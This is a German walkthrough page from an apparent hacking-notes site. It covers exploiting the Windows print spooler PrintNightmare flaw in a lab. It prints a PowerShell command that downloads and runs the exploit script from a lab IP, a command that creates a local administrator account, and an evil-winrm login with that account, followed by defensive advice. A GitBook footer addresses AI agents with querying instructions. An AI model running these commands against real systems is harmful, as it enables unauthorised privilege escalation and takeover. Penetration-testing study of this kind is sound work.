> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Druckerspooler - PrintNightmare

`spoolsv.exe` ist der Windows-Dienst Druckwarteschlange. Wenn ein Ziel verwundbar ist, kann eine Exploitation im Stil von PrintNightmare je nach Windows-Version, Patch-Stand und Dienstexposition eine lokale oder entfernte Privilegieneskalation ermöglichen.

## Erkennung

Gleichen Sie einen aktiven oder exponierten Druckwarteschlangendienst mit der genauen Windows-Version und den installierten Patches ab.

<figure><img src="/files/9ace1f4c9e115c783728bd127485cddeb320d269" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Labor-Exploit

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/a9323f4e0723ea9354034f227045a971d57854c1" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Laden Sie das Skript:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Erstellen Sie im Labor einen lokalen Administratorbenutzer:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/7293349444015d25f58db3c2d9ce4848781ebf29" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/b63afe9bc259f5c6cb39ecba7ee8d783da5af18b" alt="New administrative user validation"><figcaption></figcaption></figure>

## Verbinden

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/ca767ea3c851db810ea2db7bbd7a62bba7b86dc7" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Wichtige Punkte

* Bestätigen Sie die Verwundbarkeit durch Versions- und Patch-Überprüfung.
* Deaktivieren Sie den Druckwarteschlangendienst, wo er nicht benötigt wird, insbesondere auf sensiblen Servern.
* Überwachen Sie die plötzliche Erstellung von lokalen Administratorenkonten und verdächtige Druckertreiber-Operationen.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
